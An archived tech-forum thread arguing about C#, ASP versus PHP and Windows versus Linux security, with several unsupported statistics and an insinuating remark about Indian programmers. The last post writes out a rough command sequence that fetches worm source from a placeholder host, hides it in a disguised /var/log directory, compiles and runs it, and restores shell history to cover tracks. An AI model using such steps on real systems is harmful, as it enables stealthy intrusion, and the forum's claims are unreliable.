View Full Version : What does everyone think of c#??
is it good, bad, dumb, da bomb, MS's biggest mistake, what?
I HATE C#... M4 biggest mistake.... other than Windows... :D
M4? thats a grade of screw thread! anyway i think C# has its uses, mostly for server side stuff, code looks very nasty to me.
never tried coding it but could be useful.
er... thats supposed to be M$ but I didnt press the Shift button obviously to well... :)
oh sh*t im going to have to start leaning c# now!!!!!!!
im supposed to be making world server in it! Why not delphi?! strange man
Dump it all and start programming in BINARY..
hehe j/k ;)
With MS's money wagon then it is gonna be big (Like MS's ASP it is able to run on linux, same thing will probably happen for C#)
Found this link with C# articles :
http://www.xprogramming.com/xpmag/acsIndex.htm
What respectable linux-user would want to run slow-*** GheySP on Linux? I'd rather flip-the-script and run PHP on Windows (which I do). ASP + MSSQL = Ghey (and even worse, the pinnacle of insecurity). PHP + MySQL = 0wns j00 4LL!
;)
ASP can only run on *nix through a program, but ti sucks, it's buggy and unsecure so few people actually use the program... Plus ASP isn't big. PHP is ALOT bigger.... ASP I dont think will ever get to PHP... Plus PHP can run on the world's most commonly used server software, Apache! while ISS is one of the buggiest and full of exploits...
Ha! So much for Microsoft's "Trustworthy Computing". Oh well if it is any consolation to M$ I would say that an OS that is so friggin HUGE is bound to be difficult to secure with all those millions of lines of code...
I however, doubt that M$ would even give a fsck about that comment since there are NO employees in the company (other then janitors) that are making less then 400,000/year. By the way did you know that almost 30% of the coders at M$ are INDIANS?? Hmmmmmmmmmmmmmmm.... Let's think about that one for a moment (for more then just $$$ reasons)...
Anyway, I just want to publicly say that I CURSE the day (sooo many years ago) that I picked up DOS off the shelf and learned that inside-out instead of a real OS. Now.. over 12 years later, I'm stuck and simple don't HAVE another 10 years to learn a real OS....
Ohh the irony.. Ohhh the PAIN.. woe is me.. LOL
-Peace
hate to burst your bubble, but linux accounted for 16 of the 29 security alerts in 2002, MAC OS had a several and windows picked up the rest; and ASP.NET SMOKES PHP. MySQL doesn't have the power that MSSQL has. bar none. No triggers, No stored proc's which means no precompiling. What ever can be done in PHP can be done in ASP. Both scripting languages are good. They both have their good points and they both have their bad points.. That's not going to change. The chili soft ASP environment emulation is an OBJECT itself so it doesn't support some features that ASP does so It's not a good thing to use. Besides, if your backend db design sucks then your site is going to suck.
ASP.NET does nothing of the sort. PHP can in some cases operate up to 200x faster (thats sick d00d). 16 of the 29? Where did you hear this M$ propagandasized nonsense? hehe. Even if it were true, it's a small drop in the bucket when you look at the whole picture. 16 of 29, hmmm ok then fair enough. IIS (Internet Insecurity Server) accounts for 98% of web-based exploits on the entire Internet as we know it. In fact an exploit (usually a devastating buffer overflow) is discovered not-infrequently for IIS. Once upon a time I used IIS. When I saw the power (and FREEness) of Apache, I simply left and said to myself screw all this $1000 SecureIIS crap and get a real server.
As for MSSQL, guess what? TOO MUCH POWER. And that's not a good thing because as we all know, the term "more power" too often translates into "less-security, more bugs". No one will EVER utilize the full power of MSSQL, therefore MySQL still rules. lol. Plus, I would never ever sacrifice stability and SECURITY for bells and whistles... It would take me till I was 60 to master all that MSSQL stuff anyway, hell even with MySQL so power doesn't concern me and anyway MySQL gets the job done too.
Damn am I babbling? Whoopsie my sincere appologies hehe. Well I do agree if your programming sucks, then so will your site but thats a whole 'nother topic. =)
I've seen plenty a site using unix defaced.. The web server is inherantly prone to hacking regardless of the OS. That's the name of the game. As for the power. well, I doubt you could build an extremely large data store supporting a web front with MySQL and compare its' speed to that of MSSQL or ORACLE. The latter will win hands down. When the runtime has to compile the query EVERY time, then there's a performance hit. If you use a DBMS that compiles queries (stored procedures) then your performance increase is INCREDIBLE. I am afraid, however, that the complexity and power and ability to join com built with .NET in general, completely destroys any current web technology including ASP3.0 and PHP.
#1 its' abilty for code behind allows for separation of .net and html, css etc.. improving performance for interleaving between dll's.
and
#2. It's just plain faster than ASP and PHP.
your view needs to be more open minded. Zeal is just a cop out or a Pose , if you will.
Besides, bugs in software are more prone in open source than in closed source especially when you have a multiplicity of people working in the code. Then you have differing versions which just adds to the problems. Open source may be the poor mans route, but it certainly is not with out its' problems. Problems that have the same potential for financial catastrophe as anything else.
As for my source, refer to this thread
http://www.majorgeeks.com/vb/showthread.php?s=&threadid=9452
The sources cited there are just a small portion of the sites that I've read that pretty much support the same or similar results. Remember, that the #1 guy is always ridiculed and special attention is always payed to him. The scrutiny that accompies such a position is typical and to be expected. The ONLY reason that many companies are going the linux route is NOT because it's supposedly more stable or supposedly more secure, it's purely a result of MS practices with licensing. If anything is going to hurt MS, it's the way they play the game. Charging WAY too much money. They get you coming and going. For instance, the licensing practices for Win2k server requires the purchasing of 1 CAL per workstation connected to the Domain. Funny thing is Win2k Pro has a CAL built in but it's useless. No, I don't care for MS practices, but they have done a great job on their latets OS's and technology. I don't see Linux support anywhere near the number of hardware devices, legacy or otherwise, as WindowsXP does.
You said it yourself, the more complex things get, the more prone they are to problems. Just where do you think Linux is heading? It's not going to get more simple, I can assure of this. Historical similarities will show in the linux community.. mark my words.
Additionally, I would hope that you don't take anything I say as a person offense. Civilized discussion is one of the greater points of Major Geeks.
Regards :D
Well I have nothing against ASP or .NET... But I am not big on a graphical interface... all I need is pico and cc (bassicly like a text editor in DOS console, except not in DOS :)and a C compiler). Truly I dont care much for MSSQL or MySQL, Oracle baby... :) Some things are truly matter of opinion... Truly I would rather run Apache than IIS for several reasons.... I am a big fan of OSS, say what you want but I am. And that IIS has some serious UNICODE issues that I want to first get resovled for it... Also is that *nix generall has less viruss'/worms and that when they do hit no big (Slapper-2-3 thousand, NIMDA-400,000+...). Now I wouldnt doubt that *nix has more exploits because it comes with alot of stuff.... OpenSSH daemons, sendmail daemons, etc. And people dont generally care about buffer overflows for daemos so they ignore it and get screwed... (fact...). About the bugs thing I cant really say that... I've never had trouble with closed source or Open Source.... And I run about 300 OSS programs a second while I am in Slack.... It's a matter of opinion, and truly I have nothing against ASP or PHP but the fact that to run ASP on *nix I would need to run a program that I really dont want to and I am just generally more interested in PHP than ASP, but it's just an opinion....
PS. Kodo, 16 of the 29 security alerts in 2002. Is that major ones or just in general? I am just wondering because i have had to d/l like 100 patches for windows for holes and exploits and crap and just seems strange.... Plus I believe there is over 300 different Linux distros... While the Win98, 95, 2000, XP, and below 3.1... So it is a COMPLETELY different situation... Like comparing apples to boots. Different things.
I do believe they are talking about large security exploits. I would like to thank you though for making a point. That comparing Linux to Windows is MOOT! and that doing so is a step in the WRONG direction. It's like saying a sports car is better than a truck.. alas a truck can carry large items and a sports car cannot, while the sports car can go faster, the truck cannot. The differences are offset and the people of BOTH communities need to get that through their thick friggin skulls!
Yup, that's me, maker of greap points :D.
PS. I thought major... I was thinking about the 3 new patfches they released after Win2000 was declared secure, then 4 for IIS. Then the 100 I d/led and I was just like.... wtf?
100 security patches? I doubt it. Did you get the SP's and roll ups?
Fine. agreed... However, I still (and sorry to anyone that is offended by this as I am a windows user as well heh) would never agree that in the most general terms Windows can ever be (agiain generally speaking) remotely as secure as a *nix based OS. If one takes a closer look at how the actual execution structure differs in the 2 OS's this will become apparent. Whereas Windows bases execution on "what extentions are able to be executed (eg. exe, vbs, com). In a *nix based OS (correct me if i'm wrong) any file can be executable, HOWEVER it has to have specific execution PERMISSIONS (nothing to do with extentions).. That's why you see over 70,000 'viruses' and 'trojans' for Windows and about **5** for Linux. The architecture is simply such that makes it extreamly frustrating and almost impossible for virus writers to do the same thing on Linux (for eg) as the can do on Windows....
-Peace
don't forget though, that linux is now becoming more ane more popular which means that people will be writing more destructive things against it. It's just nature. I really wish people would just stop the crap, but that's asking too much I guess.
1.) No Kodo, I didnt get the SP's or anything I got individual patches. After I got one I suddenly noticed Windows subsystem asking to connect to internet *alot* more so i have kinda not taken to that anymore
2.) Thats not true about the virus's. What slapper did was use an exploit (mod_ssl I believe) and exploit it.... Meaning nothing to do with permissions... Plus after it worked it can just do:
cp ~/.bash_history ~/blagh123
cp www.virus.com/slapper.c ~
cd /var/log
mkdir . (2 spaces... extermelly effective for hiding files... you think it's the usual . but no...)
mv ~/slapper.c /var/log.
cc slapper.c
mv a.out slapper
chmod 777 slapper
./slapper
mv /root/blagh123 ~/.bash_history
There... All done, sure ps aux|grep slapper will show it but you can use a rootkit type thing to hide it and many other things...
vBulletin® v3.8.3, Copyright ©2000-2009, Jelsoft Enterprises Ltd.